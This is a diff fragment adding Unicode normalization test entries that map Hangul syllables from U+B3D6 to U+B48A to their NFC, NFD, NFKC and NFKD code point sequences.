+{ source: [0xB3D6], NFC: [0xB3D6], NFD: [0x1103, 0x1169, 0x11B9], NFKC: [0xB3D6], NFKD: [0x1103, 0x1169, 0x11B9] },
+{ source: [0xB3D7], NFC: [0xB3D7], NFD: [0x1103, 0x1169, 0x11BA], NFKC: [0xB3D7], NFKD: [0x1103, 0x1169, 0x11BA] },
+{ source: [0xB3D8], NFC: [0xB3D8], NFD: [0x1103, 0x1169, 0x11BB], NFKC: [0xB3D8], NFKD: [0x1103, 0x1169, 0x11BB] },
+{ source: [0xB3D9], NFC: [0xB3D9], NFD: [0x1103, 0x1169, 0x11BC], NFKC: [0xB3D9], NFKD: [0x1103, 0x1169, 0x11BC] },
+{ source: [0xB3DA], NFC: [0xB3DA], NFD: [0x1103, 0x1169, 0x11BD], NFKC: [0xB3DA], NFKD: [0x1103, 0x1169, 0x11BD] },
+{ source: [0xB3DB], NFC: [0xB3DB], NFD: [0x1103, 0x1169, 0x11BE], NFKC: [0xB3DB], NFKD: [0x1103, 0x1169, 0x11BE] },
+{ source: [0xB3DC], NFC: [0xB3DC], NFD: [0x1103, 0x1169, 0x11BF], NFKC: [0xB3DC], NFKD: [0x1103, 0x1169, 0x11BF] },
+{ source: [0xB3DD], NFC: [0xB3DD], NFD: [0x1103, 0x1169, 0x11C0], NFKC: [0xB3DD], NFKD: [0x1103, 0x1169, 0x11C0] },
+{ source: [0xB3DE], NFC: [0xB3DE], NFD: [0x1103, 0x1169, 0x11C1], NFKC: [0xB3DE], NFKD: [0x1103, 0x1169, 0x11C1] },
+{ source: [0xB3DF], NFC: [0xB3DF], NFD: [0x1103, 0x1169, 0x11C2], NFKC: [0xB3DF], NFKD: [0x1103, 0x1169, 0x11C2] },
+{ source: [0xB3E0], NFC: [0xB3E0], NFD: [0x1103, 0x116A], NFKC: [0xB3E0], NFKD: [0x1103, 0x116A] },
+{ source: [0xB3E1], NFC: [0xB3E1], NFD: [0x1103, 0x116A, 0x11A8], NFKC: [0xB3E1], NFKD: [0x1103, 0x116A, 0x11A8] },
+{ source: [0xB3E2], NFC: [0xB3E2], NFD: [0x1103, 0x116A, 0x11A9], NFKC: [0xB3E2], NFKD: [0x1103, 0x116A, 0x11A9] },
+{ source: [0xB3E3], NFC: [0xB3E3], NFD: [0x1103, 0x116A, 0x11AA], NFKC: [0xB3E3], NFKD: [0x1103, 0x116A, 0x11AA] },
+{ source: [0xB3E4], NFC: [0xB3E4], NFD: [0x1103, 0x116A, 0x11AB], NFKC: [0xB3E4], NFKD: [0x1103, 0x116A, 0x11AB] },
+{ source: [0xB3E5], NFC: [0xB3E5], NFD: [0x1103, 0x116A, 0x11AC], NFKC: [0xB3E5], NFKD: [0x1103, 0x116A, 0x11AC] },
+{ source: [0xB3E6], NFC: [0xB3E6], NFD: [0x1103, 0x116A, 0x11AD], NFKC: [0xB3E6], NFKD: [0x1103, 0x116A, 0x11AD] },
+{ source: [0xB3E7], NFC: [0xB3E7], NFD: [0x1103, 0x116A, 0x11AE], NFKC: [0xB3E7], NFKD: [0x1103, 0x116A, 0x11AE] },
+{ source: [0xB3E8], NFC: [0xB3E8], NFD: [0x1103, 0x116A, 0x11AF], NFKC: [0xB3E8], NFKD: [0x1103, 0x116A, 0x11AF] },
+{ source: [0xB3E9], NFC: [0xB3E9], NFD: [0x1103, 0x116A, 0x11B0], NFKC: [0xB3E9], NFKD: [0x1103, 0x116A, 0x11B0] },
+{ source: [0xB3EA], NFC: [0xB3EA], NFD: [0x1103, 0x116A, 0x11B1], NFKC: [0xB3EA], NFKD: [0x1103, 0x116A, 0x11B1] },
+{ source: [0xB3EB], NFC: [0xB3EB], NFD: [0x1103, 0x116A, 0x11B2], NFKC: [0xB3EB], NFKD: [0x1103, 0x116A, 0x11B2] },
+{ source: [0xB3EC], NFC: [0xB3EC], NFD: [0x1103, 0x116A, 0x11B3], NFKC: [0xB3EC], NFKD: [0x1103, 0x116A, 0x11B3] },
+{ source: [0xB3ED], NFC: [0xB3ED], NFD: [0x1103, 0x116A, 0x11B4], NFKC: [0xB3ED], NFKD: [0x1103, 0x116A, 0x11B4] },
+{ source: [0xB3EE], NFC: [0xB3EE], NFD: [0x1103, 0x116A, 0x11B5], NFKC: [0xB3EE], NFKD: [0x1103, 0x116A, 0x11B5] },
+{ source: [0xB3EF], NFC: [0xB3EF], NFD: [0x1103, 0x116A, 0x11B6], NFKC: [0xB3EF], NFKD: [0x1103, 0x116A, 0x11B6] },
+{ source: [0xB3F0], NFC: [0xB3F0], NFD: [0x1103, 0x116A, 0x11B7], NFKC: [0xB3F0], NFKD: [0x1103, 0x116A, 0x11B7] },
+{ source: [0xB3F1], NFC: [0xB3F1], NFD: [0x1103, 0x116A, 0x11B8], NFKC: [0xB3F1], NFKD: [0x1103, 0x116A, 0x11B8] },
+{ source: [0xB3F2], NFC: [0xB3F2], NFD: [0x1103, 0x116A, 0x11B9], NFKC: [0xB3F2], NFKD: [0x1103, 0x116A, 0x11B9] },
+{ source: [0xB3F3], NFC: [0xB3F3], NFD: [0x1103, 0x116A, 0x11BA], NFKC: [0xB3F3], NFKD: [0x1103, 0x116A, 0x11BA] },
+{ source: [0xB3F4], NFC: [0xB3F4], NFD: [0x1103, 0x116A, 0x11BB], NFKC: [0xB3F4], NFKD: [0x1103, 0x116A, 0x11BB] },
+{ source: [0xB3F5], NFC: [0xB3F5], NFD: [0x1103, 0x116A, 0x11BC], NFKC: [0xB3F5], NFKD: [0x1103, 0x116A, 0x11BC] },
+{ source: [0xB3F6], NFC: [0xB3F6], NFD: [0x1103, 0x116A, 0x11BD], NFKC: [0xB3F6], NFKD: [0x1103, 0x116A, 0x11BD] },
+{ source: [0xB3F7], NFC: [0xB3F7], NFD: [0x1103, 0x116A, 0x11BE], NFKC: [0xB3F7], NFKD: [0x1103, 0x116A, 0x11BE] },
+{ source: [0xB3F8], NFC: [0xB3F8], NFD: [0x1103, 0x116A, 0x11BF], NFKC: [0xB3F8], NFKD: [0x1103, 0x116A, 0x11BF] },
+{ source: [0xB3F9], NFC: [0xB3F9], NFD: [0x1103, 0x116A, 0x11C0], NFKC: [0xB3F9], NFKD: [0x1103, 0x116A, 0x11C0] },
+{ source: [0xB3FA], NFC: [0xB3FA], NFD: [0x1103, 0x116A, 0x11C1], NFKC: [0xB3FA], NFKD: [0x1103, 0x116A, 0x11C1] },
+{ source: [0xB3FB], NFC: [0xB3FB], NFD: [0x1103, 0x116A, 0x11C2], NFKC: [0xB3FB], NFKD: [0x1103, 0x116A, 0x11C2] },
+{ source: [0xB3FC], NFC: [0xB3FC], NFD: [0x1103, 0x116B], NFKC: [0xB3FC], NFKD: [0x1103, 0x116B] },
+{ source: [0xB3FD], NFC: [0xB3FD], NFD: [0x1103, 0x116B, 0x11A8], NFKC: [0xB3FD], NFKD: [0x1103, 0x116B, 0x11A8] },
+{ source: [0xB3FE], NFC: [0xB3FE], NFD: [0x1103, 0x116B, 0x11A9], NFKC: [0xB3FE], NFKD: [0x1103, 0x116B, 0x11A9] },
+{ source: [0xB3FF], NFC: [0xB3FF], NFD: [0x1103, 0x116B, 0x11AA], NFKC: [0xB3FF], NFKD: [0x1103, 0x116B, 0x11AA] },
+{ source: [0xB400], NFC: [0xB400], NFD: [0x1103, 0x116B, 0x11AB], NFKC: [0xB400], NFKD: [0x1103, 0x116B, 0x11AB] },
+{ source: [0xB401], NFC: [0xB401], NFD: [0x1103, 0x116B, 0x11AC], NFKC: [0xB401], NFKD: [0x1103, 0x116B, 0x11AC] },
+{ source: [0xB402], NFC: [0xB402], NFD: [0x1103, 0x116B, 0x11AD], NFKC: [0xB402], NFKD: [0x1103, 0x116B, 0x11AD] },
+{ source: [0xB403], NFC: [0xB403], NFD: [0x1103, 0x116B, 0x11AE], NFKC: [0xB403], NFKD: [0x1103, 0x116B, 0x11AE] },
+{ source: [0xB404], NFC: [0xB404], NFD: [0x1103, 0x116B, 0x11AF], NFKC: [0xB404], NFKD: [0x1103, 0x116B, 0x11AF] },
+{ source: [0xB405], NFC: [0xB405], NFD: [0x1103, 0x116B, 0x11B0], NFKC: [0xB405], NFKD: [0x1103, 0x116B, 0x11B0] },
+{ source: [0xB406], NFC: [0xB406], NFD: [0x1103, 0x116B, 0x11B1], NFKC: [0xB406], NFKD: [0x1103, 0x116B, 0x11B1] },
+{ source: [0xB407], NFC: [0xB407], NFD: [0x1103, 0x116B, 0x11B2], NFKC: [0xB407], NFKD: [0x1103, 0x116B, 0x11B2] },
+{ source: [0xB408], NFC: [0xB408], NFD: [0x1103, 0x116B, 0x11B3], NFKC: [0xB408], NFKD: [0x1103, 0x116B, 0x11B3] },
+{ source: [0xB409], NFC: [0xB409], NFD: [0x1103, 0x116B, 0x11B4], NFKC: [0xB409], NFKD: [0x1103, 0x116B, 0x11B4] },
+{ source: [0xB40A], NFC: [0xB40A], NFD: [0x1103, 0x116B, 0x11B5], NFKC: [0xB40A], NFKD: [0x1103, 0x116B, 0x11B5] },
+{ source: [0xB40B], NFC: [0xB40B], NFD: [0x1103, 0x116B, 0x11B6], NFKC: [0xB40B], NFKD: [0x1103, 0x116B, 0x11B6] },
+{ source: [0xB40C], NFC: [0xB40C], NFD: [0x1103, 0x116B, 0x11B7], NFKC: [0xB40C], NFKD: [0x1103, 0x116B, 0x11B7] },
+{ source: [0xB40D], NFC: [0xB40D], NFD: [0x1103, 0x116B, 0x11B8], NFKC: [0xB40D], NFKD: [0x1103, 0x116B, 0x11B8] },
+{ source: [0xB40E], NFC: [0xB40E], NFD: [0x1103, 0x116B, 0x11B9], NFKC: [0xB40E], NFKD: [0x1103, 0x116B, 0x11B9] },
+{ source: [0xB40F], NFC: [0xB40F], NFD: [0x1103, 0x116B, 0x11BA], NFKC: [0xB40F], NFKD: [0x1103, 0x116B, 0x11BA] },
+{ source: [0xB410], NFC: [0xB410], NFD: [0x1103, 0x116B, 0x11BB], NFKC: [0xB410], NFKD: [0x1103, 0x116B, 0x11BB] },
+{ source: [0xB411], NFC: [0xB411], NFD: [0x1103, 0x116B, 0x11BC], NFKC: [0xB411], NFKD: [0x1103, 0x116B, 0x11BC] },
+{ source: [0xB412], NFC: [0xB412], NFD: [0x1103, 0x116B, 0x11BD], NFKC: [0xB412], NFKD: [0x1103, 0x116B, 0x11BD] },
+{ source: [0xB413], NFC: [0xB413], NFD: [0x1103, 0x116B, 0x11BE], NFKC: [0xB413], NFKD: [0x1103, 0x116B, 0x11BE] },
+{ source: [0xB414], NFC: [0xB414], NFD: [0x1103, 0x116B, 0x11BF], NFKC: [0xB414], NFKD: [0x1103, 0x116B, 0x11BF] },
+{ source: [0xB415], NFC: [0xB415], NFD: [0x1103, 0x116B, 0x11C0], NFKC: [0xB415], NFKD: [0x1103, 0x116B, 0x11C0] },
+{ source: [0xB416], NFC: [0xB416], NFD: [0x1103, 0x116B, 0x11C1], NFKC: [0xB416], NFKD: [0x1103, 0x116B, 0x11C1] },
+{ source: [0xB417], NFC: [0xB417], NFD: [0x1103, 0x116B, 0x11C2], NFKC: [0xB417], NFKD: [0x1103, 0x116B, 0x11C2] },
+{ source: [0xB418], NFC: [0xB418], NFD: [0x1103, 0x116C], NFKC: [0xB418], NFKD: [0x1103, 0x116C] },
+{ source: [0xB419], NFC: [0xB419], NFD: [0x1103, 0x116C, 0x11A8], NFKC: [0xB419], NFKD: [0x1103, 0x116C, 0x11A8] },
+{ source: [0xB41A], NFC: [0xB41A], NFD: [0x1103, 0x116C, 0x11A9], NFKC: [0xB41A], NFKD: [0x1103, 0x116C, 0x11A9] },
+{ source: [0xB41B], NFC: [0xB41B], NFD: [0x1103, 0x116C, 0x11AA], NFKC: [0xB41B], NFKD: [0x1103, 0x116C, 0x11AA] },
+{ source: [0xB41C], NFC: [0xB41C], NFD: [0x1103, 0x116C, 0x11AB], NFKC: [0xB41C], NFKD: [0x1103, 0x116C, 0x11AB] },
+{ source: [0xB41D], NFC: [0xB41D], NFD: [0x1103, 0x116C, 0x11AC], NFKC: [0xB41D], NFKD: [0x1103, 0x116C, 0x11AC] },
+{ source: [0xB41E], NFC: [0xB41E], NFD: [0x1103, 0x116C, 0x11AD], NFKC: [0xB41E], NFKD: [0x1103, 0x116C, 0x11AD] },
+{ source: [0xB41F], NFC: [0xB41F], NFD: [0x1103, 0x116C, 0x11AE], NFKC: [0xB41F], NFKD: [0x1103, 0x116C, 0x11AE] },
+{ source: [0xB420], NFC: [0xB420], NFD: [0x1103, 0x116C, 0x11AF], NFKC: [0xB420], NFKD: [0x1103, 0x116C, 0x11AF] },
+{ source: [0xB421], NFC: [0xB421], NFD: [0x1103, 0x116C, 0x11B0], NFKC: [0xB421], NFKD: [0x1103, 0x116C, 0x11B0] },
+{ source: [0xB422], NFC: [0xB422], NFD: [0x1103, 0x116C, 0x11B1], NFKC: [0xB422], NFKD: [0x1103, 0x116C, 0x11B1] },
+{ source: [0xB423], NFC: [0xB423], NFD: [0x1103, 0x116C, 0x11B2], NFKC: [0xB423], NFKD: [0x1103, 0x116C, 0x11B2] },
+{ source: [0xB424], NFC: [0xB424], NFD: [0x1103, 0x116C, 0x11B3], NFKC: [0xB424], NFKD: [0x1103, 0x116C, 0x11B3] },
+{ source: [0xB425], NFC: [0xB425], NFD: [0x1103, 0x116C, 0x11B4], NFKC: [0xB425], NFKD: [0x1103, 0x116C, 0x11B4] },
+{ source: [0xB426], NFC: [0xB426], NFD: [0x1103, 0x116C, 0x11B5], NFKC: [0xB426], NFKD: [0x1103, 0x116C, 0x11B5] },
+{ source: [0xB427], NFC: [0xB427], NFD: [0x1103, 0x116C, 0x11B6], NFKC: [0xB427], NFKD: [0x1103, 0x116C, 0x11B6] },
+{ source: [0xB428], NFC: [0xB428], NFD: [0x1103, 0x116C, 0x11B7], NFKC: [0xB428], NFKD: [0x1103, 0x116C, 0x11B7] },
+{ source: [0xB429], NFC: [0xB429], NFD: [0x1103, 0x116C, 0x11B8], NFKC: [0xB429], NFKD: [0x1103, 0x116C, 0x11B8] },
+{ source: [0xB42A], NFC: [0xB42A], NFD: [0x1103, 0x116C, 0x11B9], NFKC: [0xB42A], NFKD: [0x1103, 0x116C, 0x11B9] },
+{ source: [0xB42B], NFC: [0xB42B], NFD: [0x1103, 0x116C, 0x11BA], NFKC: [0xB42B], NFKD: [0x1103, 0x116C, 0x11BA] },
+{ source: [0xB42C], NFC: [0xB42C], NFD: [0x1103, 0x116C, 0x11BB], NFKC: [0xB42C], NFKD: [0x1103, 0x116C, 0x11BB] },
+{ source: [0xB42D], NFC: [0xB42D], NFD: [0x1103, 0x116C, 0x11BC], NFKC: [0xB42D], NFKD: [0x1103, 0x116C, 0x11BC] },
+{ source: [0xB42E], NFC: [0xB42E], NFD: [0x1103, 0x116C, 0x11BD], NFKC: [0xB42E], NFKD: [0x1103, 0x116C, 0x11BD] },
+{ source: [0xB42F], NFC: [0xB42F], NFD: [0x1103, 0x116C, 0x11BE], NFKC: [0xB42F], NFKD: [0x1103, 0x116C, 0x11BE] },
+{ source: [0xB430], NFC: [0xB430], NFD: [0x1103, 0x116C, 0x11BF], NFKC: [0xB430], NFKD: [0x1103, 0x116C, 0x11BF] },
+{ source: [0xB431], NFC: [0xB431], NFD: [0x1103, 0x116C, 0x11C0], NFKC: [0xB431], NFKD: [0x1103, 0x116C, 0x11C0] },
+{ source: [0xB432], NFC: [0xB432], NFD: [0x1103, 0x116C, 0x11C1], NFKC: [0xB432], NFKD: [0x1103, 0x116C, 0x11C1] },
+{ source: [0xB433], NFC: [0xB433], NFD: [0x1103, 0x116C, 0x11C2], NFKC: [0xB433], NFKD: [0x1103, 0x116C, 0x11C2] },
+{ source: [0xB434], NFC: [0xB434], NFD: [0x1103, 0x116D], NFKC: [0xB434], NFKD: [0x1103, 0x116D] },
+{ source: [0xB435], NFC: [0xB435], NFD: [0x1103, 0x116D, 0x11A8], NFKC: [0xB435], NFKD: [0x1103, 0x116D, 0x11A8] },
+{ source: [0xB436], NFC: [0xB436], NFD: [0x1103, 0x116D, 0x11A9], NFKC: [0xB436], NFKD: [0x1103, 0x116D, 0x11A9] },
+{ source: [0xB437], NFC: [0xB437], NFD: [0x1103, 0x116D, 0x11AA], NFKC: [0xB437], NFKD: [0x1103, 0x116D, 0x11AA] },
+{ source: [0xB438], NFC: [0xB438], NFD: [0x1103, 0x116D, 0x11AB], NFKC: [0xB438], NFKD: [0x1103, 0x116D, 0x11AB] },
+{ source: [0xB439], NFC: [0xB439], NFD: [0x1103, 0x116D, 0x11AC], NFKC: [0xB439], NFKD: [0x1103, 0x116D, 0x11AC] },
+{ source: [0xB43A], NFC: [0xB43A], NFD: [0x1103, 0x116D, 0x11AD], NFKC: [0xB43A], NFKD: [0x1103, 0x116D, 0x11AD] },
+{ source: [0xB43B], NFC: [0xB43B], NFD: [0x1103, 0x116D, 0x11AE], NFKC: [0xB43B], NFKD: [0x1103, 0x116D, 0x11AE] },
+{ source: [0xB43C], NFC: [0xB43C], NFD: [0x1103, 0x116D, 0x11AF], NFKC: [0xB43C], NFKD: [0x1103, 0x116D, 0x11AF] },
+{ source: [0xB43D], NFC: [0xB43D], NFD: [0x1103, 0x116D, 0x11B0], NFKC: [0xB43D], NFKD: [0x1103, 0x116D, 0x11B0] },
+{ source: [0xB43E], NFC: [0xB43E], NFD: [0x1103, 0x116D, 0x11B1], NFKC: [0xB43E], NFKD: [0x1103, 0x116D, 0x11B1] },
+{ source: [0xB43F], NFC: [0xB43F], NFD: [0x1103, 0x116D, 0x11B2], NFKC: [0xB43F], NFKD: [0x1103, 0x116D, 0x11B2] },
+{ source: [0xB440], NFC: [0xB440], NFD: [0x1103, 0x116D, 0x11B3], NFKC: [0xB440], NFKD: [0x1103, 0x116D, 0x11B3] },
+{ source: [0xB441], NFC: [0xB441], NFD: [0x1103, 0x116D, 0x11B4], NFKC: [0xB441], NFKD: [0x1103, 0x116D, 0x11B4] },
+{ source: [0xB442], NFC: [0xB442], NFD: [0x1103, 0x116D, 0x11B5], NFKC: [0xB442], NFKD: [0x1103, 0x116D, 0x11B5] },
+{ source: [0xB443], NFC: [0xB443], NFD: [0x1103, 0x116D, 0x11B6], NFKC: [0xB443], NFKD: [0x1103, 0x116D, 0x11B6] },
+{ source: [0xB444], NFC: [0xB444], NFD: [0x1103, 0x116D, 0x11B7], NFKC: [0xB444], NFKD: [0x1103, 0x116D, 0x11B7] },
+{ source: [0xB445], NFC: [0xB445], NFD: [0x1103, 0x116D, 0x11B8], NFKC: [0xB445], NFKD: [0x1103, 0x116D, 0x11B8] },
+{ source: [0xB446], NFC: [0xB446], NFD: [0x1103, 0x116D, 0x11B9], NFKC: [0xB446], NFKD: [0x1103, 0x116D, 0x11B9] },
+{ source: [0xB447], NFC: [0xB447], NFD: [0x1103, 0x116D, 0x11BA], NFKC: [0xB447], NFKD: [0x1103, 0x116D, 0x11BA] },
+{ source: [0xB448], NFC: [0xB448], NFD: [0x1103, 0x116D, 0x11BB], NFKC: [0xB448], NFKD: [0x1103, 0x116D, 0x11BB] },
+{ source: [0xB449], NFC: [0xB449], NFD: [0x1103, 0x116D, 0x11BC], NFKC: [0xB449], NFKD: [0x1103, 0x116D, 0x11BC] },
+{ source: [0xB44A], NFC: [0xB44A], NFD: [0x1103, 0x116D, 0x11BD], NFKC: [0xB44A], NFKD: [0x1103, 0x116D, 0x11BD] },
+{ source: [0xB44B], NFC: [0xB44B], NFD: [0x1103, 0x116D, 0x11BE], NFKC: [0xB44B], NFKD: [0x1103, 0x116D, 0x11BE] },
+{ source: [0xB44C], NFC: [0xB44C], NFD: [0x1103, 0x116D, 0x11BF], NFKC: [0xB44C], NFKD: [0x1103, 0x116D, 0x11BF] },
+{ source: [0xB44D], NFC: [0xB44D], NFD: [0x1103, 0x116D, 0x11C0], NFKC: [0xB44D], NFKD: [0x1103, 0x116D, 0x11C0] },
+{ source: [0xB44E], NFC: [0xB44E], NFD: [0x1103, 0x116D, 0x11C1], NFKC: [0xB44E], NFKD: [0x1103, 0x116D, 0x11C1] },
+{ source: [0xB44F], NFC: [0xB44F], NFD: [0x1103, 0x116D, 0x11C2], NFKC: [0xB44F], NFKD: [0x1103, 0x116D, 0x11C2] },
+{ source: [0xB450], NFC: [0xB450], NFD: [0x1103, 0x116E], NFKC: [0xB450], NFKD: [0x1103, 0x116E] },
+{ source: [0xB451], NFC: [0xB451], NFD: [0x1103, 0x116E, 0x11A8], NFKC: [0xB451], NFKD: [0x1103, 0x116E, 0x11A8] },
+{ source: [0xB452], NFC: [0xB452], NFD: [0x1103, 0x116E, 0x11A9], NFKC: [0xB452], NFKD: [0x1103, 0x116E, 0x11A9] },
+{ source: [0xB453], NFC: [0xB453], NFD: [0x1103, 0x116E, 0x11AA], NFKC: [0xB453], NFKD: [0x1103, 0x116E, 0x11AA] },
+{ source: [0xB454], NFC: [0xB454], NFD: [0x1103, 0x116E, 0x11AB], NFKC: [0xB454], NFKD: [0x1103, 0x116E, 0x11AB] },
+{ source: [0xB455], NFC: [0xB455], NFD: [0x1103, 0x116E, 0x11AC], NFKC: [0xB455], NFKD: [0x1103, 0x116E, 0x11AC] },
+{ source: [0xB456], NFC: [0xB456], NFD: [0x1103, 0x116E, 0x11AD], NFKC: [0xB456], NFKD: [0x1103, 0x116E, 0x11AD] },
+{ source: [0xB457], NFC: [0xB457], NFD: [0x1103, 0x116E, 0x11AE], NFKC: [0xB457], NFKD: [0x1103, 0x116E, 0x11AE] },
+{ source: [0xB458], NFC: [0xB458], NFD: [0x1103, 0x116E, 0x11AF], NFKC: [0xB458], NFKD: [0x1103, 0x116E, 0x11AF] },
+{ source: [0xB459], NFC: [0xB459], NFD: [0x1103, 0x116E, 0x11B0], NFKC: [0xB459], NFKD: [0x1103, 0x116E, 0x11B0] },
+{ source: [0xB45A], NFC: [0xB45A], NFD: [0x1103, 0x116E, 0x11B1], NFKC: [0xB45A], NFKD: [0x1103, 0x116E, 0x11B1] },
+{ source: [0xB45B], NFC: [0xB45B], NFD: [0x1103, 0x116E, 0x11B2], NFKC: [0xB45B], NFKD: [0x1103, 0x116E, 0x11B2] },
+{ source: [0xB45C], NFC: [0xB45C], NFD: [0x1103, 0x116E, 0x11B3], NFKC: [0xB45C], NFKD: [0x1103, 0x116E, 0x11B3] },
+{ source: [0xB45D], NFC: [0xB45D], NFD: [0x1103, 0x116E, 0x11B4], NFKC: [0xB45D], NFKD: [0x1103, 0x116E, 0x11B4] },
+{ source: [0xB45E], NFC: [0xB45E], NFD: [0x1103, 0x116E, 0x11B5], NFKC: [0xB45E], NFKD: [0x1103, 0x116E, 0x11B5] },
+{ source: [0xB45F], NFC: [0xB45F], NFD: [0x1103, 0x116E, 0x11B6], NFKC: [0xB45F], NFKD: [0x1103, 0x116E, 0x11B6] },
+{ source: [0xB460], NFC: [0xB460], NFD: [0x1103, 0x116E, 0x11B7], NFKC: [0xB460], NFKD: [0x1103, 0x116E, 0x11B7] },
+{ source: [0xB461], NFC: [0xB461], NFD: [0x1103, 0x116E, 0x11B8], NFKC: [0xB461], NFKD: [0x1103, 0x116E, 0x11B8] },
+{ source: [0xB462], NFC: [0xB462], NFD: [0x1103, 0x116E, 0x11B9], NFKC: [0xB462], NFKD: [0x1103, 0x116E, 0x11B9] },
+{ source: [0xB463], NFC: [0xB463], NFD: [0x1103, 0x116E, 0x11BA], NFKC: [0xB463], NFKD: [0x1103, 0x116E, 0x11BA] },
+{ source: [0xB464], NFC: [0xB464], NFD: [0x1103, 0x116E, 0x11BB], NFKC: [0xB464], NFKD: [0x1103, 0x116E, 0x11BB] },
+{ source: [0xB465], NFC: [0xB465], NFD: [0x1103, 0x116E, 0x11BC], NFKC: [0xB465], NFKD: [0x1103, 0x116E, 0x11BC] },
+{ source: [0xB466], NFC: [0xB466], NFD: [0x1103, 0x116E, 0x11BD], NFKC: [0xB466], NFKD: [0x1103, 0x116E, 0x11BD] },
+{ source: [0xB467], NFC: [0xB467], NFD: [0x1103, 0x116E, 0x11BE], NFKC: [0xB467], NFKD: [0x1103, 0x116E, 0x11BE] },
+{ source: [0xB468], NFC: [0xB468], NFD: [0x1103, 0x116E, 0x11BF], NFKC: [0xB468], NFKD: [0x1103, 0x116E, 0x11BF] },
+{ source: [0xB469], NFC: [0xB469], NFD: [0x1103, 0x116E, 0x11C0], NFKC: [0xB469], NFKD: [0x1103, 0x116E, 0x11C0] },
+{ source: [0xB46A], NFC: [0xB46A], NFD: [0x1103, 0x116E, 0x11C1], NFKC: [0xB46A], NFKD: [0x1103, 0x116E, 0x11C1] },
+{ source: [0xB46B], NFC: [0xB46B], NFD: [0x1103, 0x116E, 0x11C2], NFKC: [0xB46B], NFKD: [0x1103, 0x116E, 0x11C2] },
+{ source: [0xB46C], NFC: [0xB46C], NFD: [0x1103, 0x116F], NFKC: [0xB46C], NFKD: [0x1103, 0x116F] },
+{ source: [0xB46D], NFC: [0xB46D], NFD: [0x1103, 0x116F, 0x11A8], NFKC: [0xB46D], NFKD: [0x1103, 0x116F, 0x11A8] },
+{ source: [0xB46E], NFC: [0xB46E], NFD: [0x1103, 0x116F, 0x11A9], NFKC: [0xB46E], NFKD: [0x1103, 0x116F, 0x11A9] },
+{ source: [0xB46F], NFC: [0xB46F], NFD: [0x1103, 0x116F, 0x11AA], NFKC: [0xB46F], NFKD: [0x1103, 0x116F, 0x11AA] },
+{ source: [0xB470], NFC: [0xB470], NFD: [0x1103, 0x116F, 0x11AB], NFKC: [0xB470], NFKD: [0x1103, 0x116F, 0x11AB] },
+{ source: [0xB471], NFC: [0xB471], NFD: [0x1103, 0x116F, 0x11AC], NFKC: [0xB471], NFKD: [0x1103, 0x116F, 0x11AC] },
+{ source: [0xB472], NFC: [0xB472], NFD: [0x1103, 0x116F, 0x11AD], NFKC: [0xB472], NFKD: [0x1103, 0x116F, 0x11AD] },
+{ source: [0xB473], NFC: [0xB473], NFD: [0x1103, 0x116F, 0x11AE], NFKC: [0xB473], NFKD: [0x1103, 0x116F, 0x11AE] },
+{ source: [0xB474], NFC: [0xB474], NFD: [0x1103, 0x116F, 0x11AF], NFKC: [0xB474], NFKD: [0x1103, 0x116F, 0x11AF] },
+{ source: [0xB475], NFC: [0xB475], NFD: [0x1103, 0x116F, 0x11B0], NFKC: [0xB475], NFKD: [0x1103, 0x116F, 0x11B0] },
+{ source: [0xB476], NFC: [0xB476], NFD: [0x1103, 0x116F, 0x11B1], NFKC: [0xB476], NFKD: [0x1103, 0x116F, 0x11B1] },
+{ source: [0xB477], NFC: [0xB477], NFD: [0x1103, 0x116F, 0x11B2], NFKC: [0xB477], NFKD: [0x1103, 0x116F, 0x11B2] },
+{ source: [0xB478], NFC: [0xB478], NFD: [0x1103, 0x116F, 0x11B3], NFKC: [0xB478], NFKD: [0x1103, 0x116F, 0x11B3] },
+{ source: [0xB479], NFC: [0xB479], NFD: [0x1103, 0x116F, 0x11B4], NFKC: [0xB479], NFKD: [0x1103, 0x116F, 0x11B4] },
+{ source: [0xB47A], NFC: [0xB47A], NFD: [0x1103, 0x116F, 0x11B5], NFKC: [0xB47A], NFKD: [0x1103, 0x116F, 0x11B5] },
+{ source: [0xB47B], NFC: [0xB47B], NFD: [0x1103, 0x116F, 0x11B6], NFKC: [0xB47B], NFKD: [0x1103, 0x116F, 0x11B6] },
+{ source: [0xB47C], NFC: [0xB47C], NFD: [0x1103, 0x116F, 0x11B7], NFKC: [0xB47C], NFKD: [0x1103, 0x116F, 0x11B7] },
+{ source: [0xB47D], NFC: [0xB47D], NFD: [0x1103, 0x116F, 0x11B8], NFKC: [0xB47D], NFKD: [0x1103, 0x116F, 0x11B8] },
+{ source: [0xB47E], NFC: [0xB47E], NFD: [0x1103, 0x116F, 0x11B9], NFKC: [0xB47E], NFKD: [0x1103, 0x116F, 0x11B9] },
+{ source: [0xB47F], NFC: [0xB47F], NFD: [0x1103, 0x116F, 0x11BA], NFKC: [0xB47F], NFKD: [0x1103, 0x116F, 0x11BA] },
+{ source: [0xB480], NFC: [0xB480], NFD: [0x1103, 0x116F, 0x11BB], NFKC: [0xB480], NFKD: [0x1103, 0x116F, 0x11BB] },
+{ source: [0xB481], NFC: [0xB481], NFD: [0x1103, 0x116F, 0x11BC], NFKC: [0xB481], NFKD: [0x1103, 0x116F, 0x11BC] },
+{ source: [0xB482], NFC: [0xB482], NFD: [0x1103, 0x116F, 0x11BD], NFKC: [0xB482], NFKD: [0x1103, 0x116F, 0x11BD] },
+{ source: [0xB483], NFC: [0xB483], NFD: [0x1103, 0x116F, 0x11BE], NFKC: [0xB483], NFKD: [0x1103, 0x116F, 0x11BE] },
+{ source: [0xB484], NFC: [0xB484], NFD: [0x1103, 0x116F, 0x11BF], NFKC: [0xB484], NFKD: [0x1103, 0x116F, 0x11BF] },
+{ source: [0xB485], NFC: [0xB485], NFD: [0x1103, 0x116F, 0x11C0], NFKC: [0xB485], NFKD: [0x1103, 0x116F, 0x11C0] },
+{ source: [0xB486], NFC: [0xB486], NFD: [0x1103, 0x116F, 0x11C1], NFKC: [0xB486], NFKD: [0x1103, 0x116F, 0x11C1] },
+{ source: [0xB487], NFC: [0xB487], NFD: [0x1103, 0x116F, 0x11C2], NFKC: [0xB487], NFKD: [0x1103, 0x116F, 0x11C2] },
+{ source: [0xB488], NFC: [0xB488], NFD: [0x1103, 0x1170], NFKC: [0xB488], NFKD: [0x1103, 0x1170] },
+{ source: [0xB489], NFC: [0xB489], NFD: [0x1103, 0x1170, 0x11A8], NFKC: [0xB489], NFKD: [0x1103, 0x1170, 0x11A8] },
+{ source: [0xB48A], NFC: [0xB48A], NFD: [0x1103, 0x1170, 0x11A9], NFKC: [0xB48A], NFKD: [0x1103, 0x1170, 0x11A9] },
